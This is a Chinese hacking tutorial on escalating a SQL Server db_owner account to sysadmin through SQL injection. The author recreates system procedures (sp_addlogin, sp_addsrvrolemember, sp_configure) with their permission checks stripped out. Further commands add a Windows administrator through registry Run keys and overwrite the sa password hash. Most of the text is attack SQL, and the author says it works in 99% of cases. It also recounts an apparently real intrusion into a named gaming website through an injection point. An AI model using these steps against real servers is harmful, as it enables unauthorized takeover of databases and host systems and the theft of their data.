————只要给我一个注射点，无论什么权限，我都给你一个webshell甚至系统权限
声明：本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责。因为发觉其危害过大，原文已经经过大量删减及修改，即使这样本文的危害性仍然很大，所以请大家不要对国内的站点做任何具有破坏性的操作。考虑再三，偶还是决定发出来。此招手段歹毒，利用范围广泛，可以说是只要是有sql注射漏洞的网站，只要运用此法99%可以拿到webshell甚至系统权限（不敢把话说满，呵呵，经本人数百次真实“实战演习”，基本上是100%可以拿到webshell甚至系统权限）。记得我在《MSSQL db_owner角色注入直接获得系统权限（续）》中写过一种利用XP_regwrite来取得系统权限的方法：xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add'，只要让网站所在的服务器重起，就能得到系统权限。经过本人的数百次的真实实验，这种方法不太实用，很容易引起网管的注意，再说ddos也是违法的事（偶可是好人啊），发动一场ddos要花费的大量的人力，物力（看你的肉鸡多少拉）。所以不太可行（除非是你十分想要搞定的网站）。
呵呵，哆嗦拉那么多，你可能看的已经不耐烦拉，好，这就介绍我的三大必杀技之一————万能提权。
假如一个网站存在sql注射漏洞，如果这个网站是用固定服务器sysadmin权限的用户作的连接（呵呵，通俗点说就是sa，菜鸟可以这样认为)，呵呵，想要拿到一个webshell或者是系统权限可以说是易如反掌，轻而易举的事，据我所知，sysadmin权限要拿到webshell或者系统权限不下10种，呵呵，可能更多吧（偶只会10种），sysadmin怎么拿到webshell或者系统权限，我不想多说，想比大家都已经烂熟于心拉，可是要是一个网站是db_owner权限呢？你怎么办，你怎么拿系统权限，怎么拿webshell（没有上传漏洞和数据库备份等功能），大家可能回说backup a shell，我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》里说过拉“备份得到的shell只是理论化的东东，如果一个webshell有20mb的话，你还能用它吗？”呵呵，要是我告诉你db_owner拿到一个webshell或者是系统权限的方法和sysadmin权限的一样多，你回有什么反映，是不是觉得有点不可思议，或者又是我胡说呢？（不相信的朋友，下面的内容就不要看拉）
呵呵，是不是看的心痒痒拉，迫不及待的想知道啊，好，我不在废话拉，这就把我的三大必杀技之一————万能提升权限方法告诉大家。
在告诉大家之前，我们先做个实验.实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新建一个具有db_owner的权限的用户，这里我是xwq（就是在服务器角色里面什么都不要选，在数据库角色里面钩上db_owner)，好，现在我们打开查询分析器用xwq连上后再里面输入sp_addlogin xuwenqiang,执行看看，出现拉什么？
服务器: 消息 2571，级别 14，状态 2，过程 sp_addlogin，行 16用户 'xwq' 没有运行 DBCC auditevent 的权限。
服务器: 消息 15247，级别 16，状态 1，过程 sp_addlogin，行 17用户没有执行此操作的权限。
呵呵，出现上面的错误信息这很正常，因为只有sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin，那么怎么才好让sp_addlogin为我所用呢？我们在这里看一下sp_addlogin的代码：create procedure sp_addlogin@loginame sysname,@passwd sysname = Null,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
CONFIGURABLE???,@deflanguage sysname = Null,@sid varbinary(16) = Null,@encryptopt varchar(20) = NullAS-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --set nocount onDeclare @ret int -- return value of sp call
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-- CHECK PERMISSIONS --IF (not is_srvrolemember('securityadmin') = 1)begindbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)raiserror(15247,-1,-1)return (1)endELSEbegindbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)end
-- DISALLOW USER TRANSACTION --set implicit_transactions offIF (@@trancount > 0)beginraiserror(15002,-1,-1,'sp_addlogin')return (1)end
-- VALIDATE LOGIN NAME AS:-- (1) Valid SQL Name (SQL LOGIN)-- (2) No backslash (NT users only)-- (3) Not a reserved login nameexecute @ret = sp_validname @loginameif (@ret <> 0)return (1)if (charindex('\', @loginame) > 0)beginraiserror(15006,-1,-1,@loginame)return (1)end
--Note: different case sa is allowed.if (@loginame = 'sa' or lower(@loginame) in ('public'))beginraiserror(15405, -1 ,-1, @loginame)return (1)end
-- LOGIN NAME MUST NOT ALREADY EXIST --if exists(select * from master.dbo.syslogins where loginname =
@loginame)beginraiserror(15025,-1,-1,@loginame)return (1)end
-- VALIDATE DEFAULT DATABASE --IF db_id(@defdb) IS NULLbeginraiserror(15010,-1,-1,@defdb)return (1)end
-- VALIDATE DEFAULT LANGUAGE --IF (@deflanguage IS NOT Null)beginExecute @ret = sp_validlang @deflanguageIF (@ret <> 0)return (1)endELSEbeginselect @deflanguage = name from master.dbo.syslanguageswhere langid = @@default_langid --server default
language
if @deflanguage is nullselect @deflanguage = N'us_english'end
-- VALIDATE SID IF GIVEN --if ((@sid IS NOT Null) and (datalength(@sid) <> 16))beginraiserror(15419,-1,-1)return (1)endelse if @sid is nullselect @sid = newid()if (suser_sname(@sid) IS NOT Null)beginraiserror(15433,-1,-1)return (1)end
-- VALIDATE AND USE ENCRYPTION OPTION --declare @xstatus smallintselect @xstatus = 2 -- Accessif @encryptopt is nullselect @passwd = pwdencrypt(@passwd)else if @encryptopt = 'skip_encryption_old'beginselect @xstatus = @xstatus 0x800, -- old-style
encryption@passwd = convert(sysname, convert(varbinary
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(30), convert(varchar(30), @passwd)))endelse if @encryptopt <> 'skip_encryption'beginraiserror(15600,-1,-1,'sp_addlogin')return 1end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --INSERT INTO master.dbo.sysxlogins VALUES(NULL, @sid, @xstatus, getdate(),getdate(), @loginame, convert(varbinary(256), @passwd),db_id(@defdb), @deflanguage)if @@error <> 0 -- this indicates we saw duplicate rowreturn (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --exec('use master grant all to null')
-- FINALIZATION: RETURN SUCCESS/FAILURE --raiserror(15298,-1,-1)return (0) -- sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin，主要是这里一段再搞鬼-- CHECK PERMISSIONS --IF (not is_srvrolemember('securityadmin') = 1)begindbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)raiserror(15247,-1,-1)return (1)endELSEbegindbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)end
只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。好，我们先把sp_addlogin删拉
drop procedure sp_addlogin
然后再来恢复sp_addlogin
create procedure sp_addlogin@loginame sysname,@passwd sysname = Null,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
CONFIGURABLE???,@deflanguage sysname = Null,@sid varbinary(16) = Null,@encryptopt varchar(20) = NullAS-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --set nocount onDeclare @ret int -- return value of sp call-- DISALLOW USER TRANSACTION --set implicit_transactions offIF (@@trancount > 0)beginraiserror(15002,-1,-1,'sp_addlogin')return (1)end
-- VALIDATE LOGIN NAME AS:-- (1) Valid SQL Name (SQL LOGIN)-- (2) No backslash (NT users only)-- (3) Not a reserved login nameexecute @ret = sp_validname @loginameif (@ret <> 0)return (1)if (charindex('\', @loginame) > 0)beginraiserror(15006,-1,-1,@loginame)return (1)end
--Note: different case sa is allowed.if (@loginame = 'sa' or lower(@loginame) in ('public'))beginraiserror(15405, -1 ,-1, @loginame)return (1)end
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-- LOGIN NAME MUST NOT ALREADY EXIST --if exists(select * from master.dbo.syslogins where loginname =
@loginame)beginraiserror(15025,-1,-1,@loginame)return (1)end
-- VALIDATE DEFAULT DATABASE --IF db_id(@defdb) IS NULLbeginraiserror(15010,-1,-1,@defdb)return (1)end
-- VALIDATE DEFAULT LANGUAGE --IF (@deflanguage IS NOT Null)beginExecute @ret = sp_validlang @deflanguageIF (@ret <> 0)return (1)endELSEbeginselect @deflanguage = name from master.dbo.syslanguageswhere langid = @@default_langid --server default
language
if @deflanguage is nullselect @deflanguage = N'us_english'end
-- VALIDATE SID IF GIVEN --if ((@sid IS NOT Null) and (datalength(@sid) <> 16))beginraiserror(15419,-1,-1)return (1)endelse if @sid is nullselect @sid = newid()if (suser_sname(@sid) IS NOT Null)beginraiserror(15433,-1,-1)return (1)end
-- VALIDATE AND USE ENCRYPTION OPTION --declare @xstatus smallintselect @xstatus = 2 -- accessif @encryptopt is nullselect @passwd = pwdencrypt(@passwd)else if @encryptopt = 'skip_encryption_old'beginselect @xstatus = @xstatus 0x800, -- old-style
encryption@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))endelse if @encryptopt <> 'skip_encryption'beginraiserror(15600,-1,-1,'sp_addlogin')return 1end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --INSERT INTO master.dbo.sysxlogins VALUES(NULL, @sid, @xstatus, getdate(),getdate(), @loginame, convert(varbinary(256), @passwd),db_id(@defdb), @deflanguage)if @@error <> 0 -- this indicates we saw duplicate rowreturn (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --exec('use master grant all to null')
-- FINALIZATION: RETURN SUCCESS/FAILURE --raiserror(15298,-1,-1)return (0) -- sp_addlogin
GO
这样我这个只具有db_owner权限的xwq就可以任意增加用户拉，ok，在查询分析器里面在输入sp_addlogin xuwenqiang，执行看看，GOOD!返回已创建新登录。我新建拉一个用户xuwenqiang，当然这个用户我可不是白建的，我要把他变成具有最高权限的用户，在sql中具有最高权限的当然是sysadmin拉，而把一个用户变成sysadmin只有sp_addsrvrolemember这个存储过程拉，可是只有sysadmin权限的用户才好使用，不爽，偶要让他为我所用，呵呵，聪明的读者一定想到拉我怎么让只具有db_owner权限的我，怎么使用sp_addsrvrolemember拉，没错，和让sp_addlogin为我所用的方法一样，只要去掉sp_addsrvrolemember中权限限制的一段，我们就可以任意增加sysadmin拉，我们先看看sp_addsrvrolemember的代码
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：create procedure sp_addsrvrolemember@loginame sysname, -- login name@rolename sysname = NULL -- server role nameas-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --set nocount ondeclare @ret int, -- return value of sp call@rolebit smallint,@ismem int
-- DISALLOW USER TRANSACTION --set implicit_transactions offIF (@@trancount > 0)beginraiserror(15002,-1,-1,'sp_addsrvrolemember')return (1)end
-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --select @ismem = is_srvrolemember(@rolename)if @ismem is nullbegindbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)raiserror(15402, -1, -1, @rolename)return (1)endif @ismem = 0begindbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)raiserror(15247,-1,-1)return (1)end
-- AUDIT A SUCCESSFUL SECURITY CHECK --dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)
-- CANNOT CHANGE SA ROLES --if @loginame = 'sa'beginraiserror(15405, -1 ,-1, @loginame)return (1)end
-- OBTAIN THE BIT FOR THIS ROLE --select @rolebit = CASE @rolenameWHEN 'sysadmin' THEN 16WHEN 'securityadmin' THEN 32WHEN 'serveradmin' THEN 64WHEN 'setupadmin' THEN 128WHEN 'processadmin' THEN 256WHEN 'diskadmin' THEN 512WHEN 'dbcreator' THEN 1024WHEN 'bulkadmin' THEN 4096ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED --if not exists(select * from master.dbo.syslogins where
loginname = @loginame)beginexecute @ret = sp_MSaddlogin_implicit_ntlogin @loginameif (@ret <> 0)beginraiserror(15007,-1,-1,@loginame)return (1)endend
-- UPDATE ROLE MEMBERSHIP --update master.dbo.sysxlogins set xstatus = xstatus @rolebit,
xdate2 = getdate()where name = @loginame and srvid IS NULL
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --exec('use master grant all to null')
raiserror(15488,-1,-1,@loginame,@rolename)
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-- FINALIZATION: RETURN SUCCESS/FAILUREreturn (@@error) -- sp_addsrvrolemember
GO
把这一段删除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --select @ismem = is_srvrolemember(@rolename)if @ismem is nullbegindbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)raiserror(15402, -1, -1, @rolename)return (1)endif @ismem = 0begindbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)raiserror(15247,-1,-1)return (1)end
这样我们就可以任意增加sysadmin拉，呵呵，爽啊。在查询分析器里输入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限，也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或者系统权限还不容易么！不要只把眼睛只放在我所说的sp_addlogin和sp_addsrvrolemember这两个存储过程上，凡是只有sysadmin才好使用的存储过程，利用我的万能提权必杀技，我们都可以使用。比如：sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin权限能利用的，我们都可以让他们为我所用。
下面再举一个万能提权的例子,和我一起打造一个永远不会被杀及完美的后门我们都知道在sql中有个被黑客称为后门的用户，那就是sa，sa 是内置的管理员登录，而且不能进行更改和删除。呵呵，这是M$说的，要是你看过我写的另外一篇文章《完全删除sa这个后门》就知道，其实sa也是好删除的。我们知道在sql可以改密码的存储过程有sp_passWord,可是我们必须知道要改的用户的旧密码，才可以更改，那么有没有办法再不知道旧密码的情况下更改sa的密码呢？有，其实也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配置设置。sp_configure（用于更改配置选项）的执行许可权限默认授予 sysadmin和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一段删除，再重建，我们就好用拉。CREATE PROCEDURE sp_configure --- 1996/08/14 09:43
@configname varchar(35) = NULL -- option name to configure,@configvalue int = NULL -- new configuration valueas
set nocount on
declare@confignum int --Num of the opt to be configured,@configcount int --Num of options like @configname,@show_advance int --Y/N Read&Write actions on
"advanced" opts
declare @fullconfigname varchar (35)declare @prevvalue int/*** Determine @maxnumber based on advance option in syscurconfigs.*/if (select value from master.dbo.syscurconfigs where config = 518) = 1select @show_advance = 1 -- Display advanced optionselseselect @show_advance = 0 -- Don't display advanced options
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/*** Make certain that max user info. reflects any addpak upgrades.*/if (select high from master.dbo.spt_values where number=103 and
type='C')<> @@max_connections
update master.dbo.spt_valuesset high = @@max_connectionswhere number = 103and type='C'
/*** If no option name is given, the procedure will just print out all
the** options and their values.*/if @configname is NULLbeginselect name, minimum = low, maximum = high,config_value = c.value,run_value = master.dbo.syscurconfigs.valuefrom master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigswhere type = 'C'and number = c.configand number = master.dbo.syscurconfigs.config
and((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2 = 0))order by lower(name)
return (0)end
/*** Use @configname and try to find the right option.** If there isn't just one, print appropriate diagnostics and return.*/select @configcount = count(*), @fullconfigname = min (v.name),
@prevvalue = min (c.value)from master.dbo.spt_values v ,master.dbo.sysconfigures cwhere v.name like '%' + @configname + '%' and v.type = 'C'and v.number = c.configand((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2 = 0))
/*** If no option, show the user what the options are.*/if @configcount = 0beginraiserror (15123,-1,-1,@configname)
print ' 'raiserror (15456,-1,-1)
/*** Show the user what the options are.*/select name, minimum = low, maximum = high,config_value = c.value,run_value = master.dbo.syscurconfigs.valuefrom master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigswhere type = 'C'and number = c.configand number = master.dbo.syscurconfigs.config
and((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2 = 0))
return (1)end
/*** If more than one option like @configname, show the duplicates and
return.*/if @configcount > 1beginraiserror (15124,-1,-1,@configname)print ' '
select duplicate_options = namefrom master.dbo.spt_values,master.dbo.sysconfigures cwhere name like '%' + @configname + '%'and type = 'C'and number = c.configand((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2 = 0))
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return (1)endelse/* There must be exactly one, so get the full name. */select @configname = name --,@value_in_sysconfigures = c.valuefrom master.dbo.spt_values,master.dbo.sysconfigures cwhere name like '%' + @configname + '%' and type = 'C'and number = c.configand((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2 = 0))
/*** If @configvalue is NULL, just show the current state of the option.*/if @configvalue is nullbegin
select v.name,v.low as 'minimum',v.high as 'maximum',c.value as 'config_value',u.value as 'run_value'frommaster.dbo.spt_values v left outer joinmaster.dbo.sysconfigures c on v.number = c.configleft outer joinmaster.dbo.syscurconfigs u on v.number = u.configwherev.type = 'C 'and v.name like '%' + @configname + '%'and((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2 = 0))
return (0)end
/*** Now get the configuration number.*/select @confignum = numberfrom master.dbo.spt_values,master.dbo.sysconfigures cwhere type = 'C'and (@configvalue between low and high or @configvalue = 0)and name like '%' + @configname + '%'and number = c.configand((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2 = 0))
/*** If this is the number of default language, we want to make sure** that the new value is a valid language id in Syslanguages.*/if @confignum = 124beginif not exists (select * from master.dbo.syslanguageswhere langid = @configvalue)begin/* 0 is default language, us_english */if @configvalue <> 0beginraiserror(15127,-1,-1)return (1)endendend
/*** If this is the number of kernel language, we want to make sure** that the new value is a valid language id in Syslanguages.*/if @confignum = 132beginif not exists (select * from master.dbo.syslanguageswhere langid = @configvalue)begin/* 0 is default language, us_english */if @configvalue <> 0beginraiserror(15028,-1,-1)return (1)endendend
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/*** "user options" should not try to set incompatible options/values.*/if @confignum = 1534 --"user options"begin
if (@configvalue & (1024+2048) = (1024+2048)) --
ansi_null_default_on/offbeginraiserror(15303,-1,-1,@configvalue)return (1)endend
/*** Although the @configname is good, @configvalue wasn't in range.*/if @confignum is NULLbeginraiserror(15129,-1,-1,@configvalue,@configname)return (1)end
--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)
#12828.
/*** Now update sysconfigures.*/update master.dbo.sysconfigures set value = @configvaluewhere config = @confignum
/*** Flush the procedure cache - this is to account for options which
become** effective immediately (ie. dont need a server restart).*/dbcc freeproccache
raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with
log
return (0) -- sp_configure
GO
ok，我们再sp_configure 'allow updates',1goRECONFIGURE WITH OVERRIDEgo
好拉这样我们才好更改sa的密码。接着update sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成拉111111拉。呵呵，解决的方法就是把sa给删拉。，怎么删可以参考我的《完全删除sa这个后门》。
实例：下面对一个国内非常出名的站点进行善意的攻击测试，来对上面的知识进行一次大概的验证，出于影响等诸多因素，我们称这个站点为www.**173.com。www.**173.com这个站点在游戏上很有名气,排名在前20名（我当时测试的时候），在这里我不想说我怎么找到的注射点，大家还可以找找，还是满多的（整个测试可真花费拉我不少时间，别误会，我不是说时间花在“检测”上，而是都放在写程序里面拉，不写个像样点的程序，怎么让我为所欲为呢？整个攻击只有10分钟不到）。在找到的注射点gametype=**（郁闷，要是当时测试的时候有nbsi2，偶可能要轻松不少），先输入drop procedure sp_addlogin,然后在IE里面输入（呵呵，我当然是在我写的程序里面输入拉）create procedure sp_addlogin@loginame sysname,@passwd sysname = Null,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
CONFIGURABLE???,@deflanguage sysname = Null,@sid varbinary(16) = Null,@encryptopt varchar(20) = NullAS-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --set nocount onDeclare @ret int -- return value of sp call-- DISALLOW USER TRANSACTION --set implicit_transactions offIF (@@trancount > 0)beginraiserror(15002,-1,-1,'sp_addlogin')return (1)end
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